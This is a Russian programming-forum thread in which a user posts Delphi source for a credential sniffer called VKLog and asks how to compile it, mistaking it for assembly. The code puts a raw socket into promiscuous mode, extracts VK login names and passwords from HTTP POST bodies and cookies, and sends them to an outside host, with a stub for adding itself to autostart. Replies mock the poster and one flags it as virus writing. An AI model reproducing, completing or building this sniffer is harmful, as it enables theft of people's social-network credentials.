Заблокирован
1

Компиляция на asm

11.08.2012, 20:51. Показов 3376. Ответов 23
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Нужно откомпилировать исходник на asm, я ассемблировал на masm32 а как откомпилировать программу на masm-е или asm-е имею смутное представления. Скачал DOSLINK, но на masm33 не заработал, привожу исходник


Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
     IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;program VKLog;
 
//{$APPTYPE CONSOLE}
 
uses
Windows,WinSock,
Parser in 'Parser.pas';
 
type
//- это IP-пакет
IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;
 
//- это ТCP-пакет(с заголвком и данными)
TCP_Packet = packed record
source_port, dest_port:word;
posl,podt:integer;
size,flags:byte;
window_:word;
cheksum:word;
urg_field:word;
data:array[0..65535] of char;
end;
 
Function GetLocalIP : String;
Var WSAData: TWSAData;
P: PHostEnt;
Name: array[0..$FF] of Char;
Begin
WSAStartup($0101, WSAData);
GetHostName(Name, $FF);
P := GetHostByName(Name);
Result := inet_ntoa(PInAddr(P.h_addr_list^)^);
WSACleanup;
End;
 
Function LookupName(name:String): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
 
Function ConnectToHost(sock:Tsocket;host:string;port:integer):integer;
var
sServrerAdr:sockaddr_in;
begin
sServrerAdr.sin_addr.S_addr := htonl(INADDR_ANY);
sServrerAdr.sin_family := AF_INET;
sServrerAdr.sin_port := htons(port);
sServrerAdr.sin_addr := LookupName(host);
 
Result := connect(Sock,sServrerAdr,sizeof(sServrerAdr));
end;
 
Procedure SendRequest(sock:TSocket;Req:string);
var
TempStr:string;
SendBuf:array [0..1023] of char;
begin
TempStr := req + #13#10;
CopyMemory(@SendBuf,Pchar(TempStr),Length(TempStr));
send(sock,SendBuf,Length(TempStr),0);
end;
 
procedure SendDataTOServer(login:string;password:string);//отправка данных на сервер (пхп скрипт)
var
wData:WSAData;
soket:TSocket;
Request:string;
begin
Request := 'GET [url]http://vk-hack.h18.ru/serv.php?login=[/url]' + login + '&pass=' + password + ' HTTP/1.1' + #13#10 +
'Host: vk-hack.h18.ru:80'+ #13#10 +
'Accept: text/html;q=1, image/jpeg;q=0.5, */*' + #13#10 +
'User-agent: VKLoger' + #13#10;
WSAStartup(MakeWord(1,1),wData);
soket:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
ConnectToHost(soket,'wm-babos.h1.ru',80);
SendRequest(soket,Request);
sleep(500);
closesocket(soket);//ответ от сервера не волнует
end;
 
Procedure TestHeader(Header:string);//проверка HTTP пакета на валидность (вырезание из него пароля или куков)
var
ReqType:string;
Host:string;
Cookie:String;
Post:string;
pass:string;
login:string;
begin
Header := EnterTrim(Header);
ReqType := GetRequestType(Header);
if (ReqType = 'POST') or (ReqType = 'GET') then
begin
Host := GetHost(Header);
if (Host = 'login.vk.com') and (ReqType = 'GET') then
begin
Cookie := GetCookie(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
if (Host = 'login.vk.com') and (ReqType = 'POST') then
begin
Post := GetPostParams(Header);
login := GetValueFromString('email',Post);
pass := GetValueFromString('pass',Post);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
exit;
end;
 
if ISServAnswer(Header) then
begin
Cookie := GetCookieSet(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') and (pass <> 'deleted') and (pass <> 'deleted') then
SendDataTOServer(login,pass);
exit;
end;
 
end;
 
procedure DoSnifer;
var
IP_Size:byte;
SBuf:string;
HTTPHeader:string;
LastRequestType:String;
RequestType:string;
 
S:TSocket;
Adr:TSockAddr;
W:WSAData;
flag,count:integer;
a:array[0..262144] of byte;
 
IP:IP_header;
TCP:TCP_Packet;
 
begin
LastRequestType := '';
HTTPHeader := '';
 
WSAStartup(MakeWord(2,2),W);
S:=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
ZeroMemory(@Adr,sizeof(Adr));
Adr.sin_family:=AF_INET;
Adr.sin_addr.S_addr:=inet_addr(pchar(GetLocalIP));
bind(S,Adr,sizeof(Adr));
flag:=1;
ioctlsocket(S,$98000001,flag);
 
While true do
begin
count:=recv(S,A,sizeof(A),0);//читаем данные
Move(A[0],IP,SizeOf(IP));//заполняем структуру IP пакета
 
if ip.Proto = 6 then// если в IP пакете TCP пакет то продолжить
begin
IP_Size := IP.ver_length;
IP_Size := (IP_Size and 15)*4 ;//вычисляем размер IP пакета из структуры
FillChar(TCP,SizeOf(TCP),0);
Move(A[IP_Size],TCP,Count - IP_Size{SizeOf(TCP)});//заполняем структуру TCP пакета
sBuf:=TCP.data;//читаем данные из TCP пакета (HTTP пакет)
SBuf := Trim(SBuf);
 
RequestType := GetRequestType(SBuf);
 
 
if RequestType = 'POST' then//если пост запрос то
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
LastRequestType := 'POST';//указываем что произошел пост запрос
Continue;
end;
 
//если к нам пришел не пост запрос(ответ от сервера, GET запрос и т.д)
if (copy(RequestType,1,4) = 'HTTP') or//если ответ идет от сервера то функция GetRequestType вернет HTTP/x.x
(RequestType = 'GET') or
(RequestType = 'HEAD') or
(RequestType = 'OPTIONS') or
(RequestType = 'TRACE') then
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
TestHeader(HTTPHeader);// отправляем запрос на проверку
LastRequestType := '';
Continue;
end;
 
//если никакой запрос не пришел и последний запрос был POST то
if (copy(RequestType,1,4) = 'HTTP') or
(RequestType <> 'GET') and
(RequestType <> 'HEAD') and
(RequestType <> 'POST') and
(RequestType <> 'OPTIONS') and
(RequestType <> 'TRACE') and
(LastRequestType = 'POST') then
begin
HTTPHeader := HTTPHeader + #13#10#13#10 + SBuf;//добавляем данные(параметры POST запроса) к запросу
end;
end;
end;
closesocket(S);
WSACleanup;
end;
 
Procedure InfectCOMP;
begin
//можно написать процедуру добавления в автозагрузку
end;
 
var
id:cardinal;
thr:Cardinal;
begin
InfectCOMP;
thr := BeginThread(nil,0,Addr(DoSnifer),nil,0,id);
while true do
sleep(1000000);
end.
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
11.08.2012, 20:51
Ответы с готовыми решениями:

компиляция asm в Linux
Заинтересовал тут меня вопрос о средах программирования для МК AVR под Linux. Из поисков в сети...

Компиляция ASM в HEX (PIC18F4220)
Здравствуйте, у меня в курсовой работе нужно в протеусе собрать схему, в этой схеме используется...

Компиляция файла asm в exe
Здравствуйте, подскажите пожалуйста - у меня есть файл asm с кодом, мне нужно его скомпилировать в...

Поменять местами части строк. Раздельная компиляция QuickC (*.c + *.asm)
Даны 2 строки. Нужно поменять местами их первые, ну допустим 5 символов. Ну т е 5 символов второй...

23
Злой няш
2136 / 1505 / 565
Регистрация: 05.04.2010
Сообщений: 2,881
11.08.2012, 22:04 2
Подождитека, да это же пасхаль. Ню~, у меня пару вопросов:
1. Что сие делает в ветке C#?
2. Пальцем в небо: похоже на программу для авторизации на одной мерзкой социальной сети.
3. DOSLINK. MS-DOS LINK? До сих пор кто-то использует DOS?
4. К какому месту ассемблер?
5. Это вообще что за сайт "http://vk-hack.h18.ru/serv.php"? Чем не угодило стандартное API?
6. Это чудо на пасхале еще работает? =\
7. Зачем, имея исходник на пасхале, дизассемблировать его, а потом снова компилировать? Что там машинный код, что там. И да, в пасхале есть возможность писать ассемблерные вставки непосредственно в самом коде. Что мешает?

Есть у меня конечно теория
Ты хочешь перекомпилировать этот код с пасхаля на ассемблер, чтобы иметь возможность программным путем авторизоваться на login.vk.com. Видать у тебя такой дубовый компьютер, что приходится работать под DOS. Да, вот такое у меня умозаключение и это явно ересь.
Даже две.
У тебя есть исходник на пасхале и ты хочешь получить код этого исходника на ассемблере. Чтобы внести какие-то чудо-изменения и снова скомпилировать получившиеся.


Какой толк вообще что-то мудрить на ассемблере в данном случае? В чем выигрыш? Изучай C++ и не будешь мучатся со всякими masm.

Не по теме:

Цитата Сообщение от djonatan98 Посмотреть сообщение
Pascal
1
2
while true do
sleep(1000000);
Такую околесицу лучше не писать.

0
88 / 65 / 2
Регистрация: 04.01.2010
Сообщений: 265
12.08.2012, 11:10 3
Цитата Сообщение от djonatan98 Посмотреть сообщение
Procedure InfectCOMP;
Голосую за удаление по причине вирусописательства.
0
Заблокирован
12.08.2012, 13:18  [ТС] 4
Этот язык использует паскаль и асемблерные вставки-?Я вообще то думал он написан на asm, синтаксис похож и где вы видите код на паскале, здес stcall - функции -это стандартные winapi из библиотеки asm tasm и пакета masm32, просто нужно откомпилировать программу, кто нибудь знает, каким компилятором-?
0
Злой няш
2136 / 1505 / 565
Регистрация: 05.04.2010
Сообщений: 2,881
12.08.2012, 16:02 5
Я надеюсь тебя забанят за этот недостиллер.

Цитата Сообщение от djonatan98 Посмотреть сообщение
здес stcall - функции -это стандартные winapi из библиотеки asm tasm и пакета masm32
Ты думаешь я совсем тупой и не знаю как выглядит код, написанный на ассемблере? Там синтаксис проще и не придумать:
Код
[метка:] мнемокод [операнды] [;комментарий]
А вот пример программы Hello Wolrd на твоей любимой масме:
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
 
.data
        msg db "Hello, world", 13, 10
        len equ $-msg
 
.data?
        written dd ?
 
.code
start:
        push    -11
        call    GetStdHandle
 
        push    0
        push    OFFSET written
        push    len
        push    OFFSET msg
        push    eax
        call    WriteFile
 
        push    0
        call    ExitProcess
 
end start
Цитата Сообщение от djonatan98 Посмотреть сообщение
Этот язык использует паскаль и асемблерные вставки-?
Во-первых, не язык пасхаль, а его синтаксис. А во-вторых, здесь нет не одной ассемблерной вставки.

Цитата Сообщение от djonatan98 Посмотреть сообщение
здес stcall - функции
Ах да, какой нафиг "stcall"? Может stdcall? И это не функции, а модель их вызова.
0
Заблокирован
12.08.2012, 16:58  [ТС] 6
Вообщето так
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32, masm32, comctl32
 
 
.data
        msg db "Hello, world", 13, 10
        len equ $-msg
 
.data?
        written dd ?
 
.code
start PROC
 
        push    -11
        call    GetStdHandle
 
        push    0
        push    OFFSET written
        push    len
        push    OFFSET msg
        push    eax
        call    WriteFile
 
        push    0
        call    ExitProcess
 
end start
Добавлено через 4 минуты
Цитата Сообщение от djonatan98 Посмотреть сообщение
Вообщето так

.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32, masm32, comctl32


.data
msg db "Hello, world", 13, 10
len equ $-msg

.data?
written dd ?

.code
start PROC

push -11
call GetStdHandle

push 0
push OFFSET written
push len
push OFFSET msg
push eax
call WriteFile

push 0
call ExitProcess

end start
Ну а на msm32 если компилировать с ресурсами masm-программу то
Assembler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
 .386
.model flat, stdcall
option casemap :none
 
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32, user32, masm32, comctl32
 
WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
 
TEST_DIALOG = 1000
TEST_BTN = 1001
EXIT_BTN = 1002
 
.data?
  hInstance dd ?
  hWnd dd ?
  icce INITCOMMONCONTROLSEX <>
 
.code
  start:
    mov icce.dwSize, SIZEOF INITCOMMONCONTROLSEX
    mov icce.dwICC, ICC_DATE_CLASSES or \
                    ICC_INTERNET_CLASSES or \
                    ICC_PAGESCROLLER_CLASS or \
                    ICC_COOL_CLASSES
 
    invoke InitCommonControlsEx, offset icce
 
    invoke GetModuleHandle, NULL
    mov hInstance, eax
 
    invoke DialogBoxParam, hInstance, TEST_DIALOG, 0, offset WndProc, 0
 
    invoke ExitProcess,eax
 
WndProc proc hWin :DWORD, uMsg :DWORD, wParam :DWORD, lParam :DWORD
  switch uMsg
    case WM_INITDIALOG
      invoke SendMessage, hWin, WM_SETICON, 1, FUNC(LoadIcon, NULL, IDI_ASTERISK)
 
    case WM_COMMAND
      switch wParam
        case TEST_BTN
          invoke MessageBox, hWin, chr$("Hello, world!"), chr$("Test"), 0
        case EXIT_BTN
          jmp exit_program
      endsw
    case WM_CLOSE
      exit_program:
      invoke EndDialog, hWin, 0
 
    endsw
 
  xor eax,eax
ret
WndProc ENDP
 
end start
 Комментарий модератора 
Теги кода добавлены модератором. По правилам форума, код должен быть оформлен соответствующими тегами. Для оформления кода Assembler-а следует выделить этот код и на панели редактирования сообщения нажать кнопку: "ASM".
0
Злой няш
2136 / 1505 / 565
Регистрация: 05.04.2010
Сообщений: 2,881
12.08.2012, 17:26 7
djonatan98, если ты не видишь разницу в синтаксисе, то я тебе сочувствую. И в первом посте не ассемблер.
0
474 / 337 / 36
Регистрация: 31.05.2011
Сообщений: 1,162
12.08.2012, 19:38 8
djonatan98, Ты чо хочешь то вообще в этом разделе? Иди в ветку к низкоуровневым и стрельни у них инфу по winsock + asm
0
Заблокирован
13.08.2012, 21:10  [ТС] 9
Я вижу разницу в синтаксисе и с первого взгляда видно. что не чисытй масм,чать кода на дельфи, вопрос. как скомпилировать программу с таким специфическим кодом-?

Добавлено через 10 часов 18 минут
Уменя выдается вот такая ошибка при компиляции Компилятор не может найти объявления класса формы в интерфейсе sectionThis, вероятно, потому, что тип декларацию, содержащую класс был удален, комментарий, или неправильно изменена. Эта ошибка возникает, если нет декларации класса эквивалентно следующему:

тип

...
TForm1 = класса (TForm)
...

Используйте Undo отменить внесенные изменения или исправления декларации вручную. Дополнительные сведения о Delphi синтаксис объявления класса см. в разделе Типы классов.
0
4311 / 1422 / 463
Регистрация: 16.12.2010
Сообщений: 2,939
Записей в блоге: 3
14.08.2012, 00:38 10
djonatan98, а что это за файл такой: Parser.pas? Он у Вас имеется?
0
Заблокирован
14.08.2012, 12:42  [ТС] 11
Parser.pas создается кодом программы - это txt-файл, который будет создон самим программным кодом
0
191 / 29 / 8
Регистрация: 15.09.2011
Сообщений: 430
14.08.2012, 15:21 12
Цитата Сообщение от djonatan98 Посмотреть сообщение
Parser.pas создается кодом программы - это txt-файл, который будет создон самим программным кодом
Ты шутишь? Ты код читал? USES!

Добавлено через 2 минуты
блин, странный код....
0
474 / 337 / 36
Регистрация: 31.05.2011
Сообщений: 1,162
14.08.2012, 15:58 13
Не шутит, мне уже самому стало интересно, скомпилит ли он код Делфи в Масме
0
4311 / 1422 / 463
Регистрация: 16.12.2010
Сообщений: 2,939
Записей в блоге: 3
14.08.2012, 17:33 14
Цитата Сообщение от djonatan98 Посмотреть сообщение
Parser.pas создается кодом программы - это txt-файл, который будет создон самим программным кодом
А где в коде описывается создание этого файла и внесение данных в него?

Я конечно могу тыщу раз ошибиться, но имхо это модуль, из которого берутся все незнакомые процедуры и функции, на которых компилятор не желает дальше идти. И, да: это консольный delphi и кода здесь, похоже, лишь фрагмент.
0
191 / 29 / 8
Регистрация: 15.09.2011
Сообщений: 430
14.08.2012, 17:42 15
Цитата Сообщение от BumerangSP Посмотреть сообщение
А где в коде описывается создание этого файла и внесение данных в него?

Я конечно могу тыщу раз ошибиться, но имхо это модуль, из которого берутся все незнакомые процедуры и функции, на которых компилятор не желает дальше идти. И, да: это консольный delphi и кода здесь, похоже, лишь фрагмент.
Я про тоже.....
0
Sophos
14.08.2012, 20:24
  #16

Не по теме:


Меня одного удивляет, как бессвязный поток сознания смог заинтересовать людей на две страницы обсуждения?

0
BumerangSP
14.08.2012, 20:51
  #17

Не по теме:

Цитата Сообщение от Sophos Посмотреть сообщение

Не по теме:


Меня одного удивляет, как бессвязный поток сознания смог заинтересовать людей на две страницы обсуждения?

Не, ну, если бы ТС ничего не доказывал, а просто согласился...

0
Заблокирован
15.08.2012, 00:12  [ТС] 18
Ну код я раздобыл в недрах инета и автор ужтверждал. что создется файл пасес. после компиляции, как только прога будет запущена,но посмотрев на код внимательнее, скорее всего, нужно прописать путь к создаввемому файли, исходник файл не создает я посмотрел , видимо нужно доработать, но у меня практически пошла компиляция в среде разработки Delphi7, ошибки связаны с неверными настройками компилятора скорее всего а код рабочий
0
191 / 29 / 8
Регистрация: 15.09.2011
Сообщений: 430
15.08.2012, 11:24 19
сомневаюсь что код рабочий... А этот файл не создается и не заполняется, т.к это вспомогательный файл с функциями. Ну как bass.dll подключается к проэкту этот так же. Если я не ошибаюсь.
P.S Если он такое казал, значит это не автор.

Добавлено через 4 минуты
А нафига этот код вообще? Чё он с вк делает? post и get ?? Я не могу понять его функцию. Авторизация что ли?
0
88 / 65 / 2
Регистрация: 04.01.2010
Сообщений: 265
15.08.2012, 12:40 20
Цитата Сообщение от hacker_007 Посмотреть сообщение
Чё он с вк делает?
Delphi
1
http://vk-hack.h18.ru
Дальше сами догадаетесь?
0
15.08.2012, 12:40
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
15.08.2012, 12:40
Помогаю со студенческими работами здесь

В двумерном массиве A[N*M] найти максимальный элемент в последнем столбце. (раздельная компиляция asm и C)
Есть массив A. extern &quot;C&quot; int Fun(int *a); z = Fun(*A); Надо вернуть максимальный элемент в...

Отсортировать по возрастанию только числа, меньше порога, введенного с клавиатуры (раздельная компиляция asm и C)
Отсортировать по возрастанию только числа, меньше порога, введенного с клавиатуры. Сортировку...

Отредактировать текст, удаляя те слова, которые имеют больше 3-х гласных. (раздельная компиляция asm и C)
Как посчитать гласные в ассeмблере, сравнить регистр с пробелом и куда записать слово? Если я...

Зеркально поменять местами разряды внутри старшего и младшего байтов каждого числа. (раздельная компиляция asm и C)
Сюда посылаю 16-битовое число. Как зеркально поменять местами разряды внутри старшего и младшего...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Закрытая тема Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru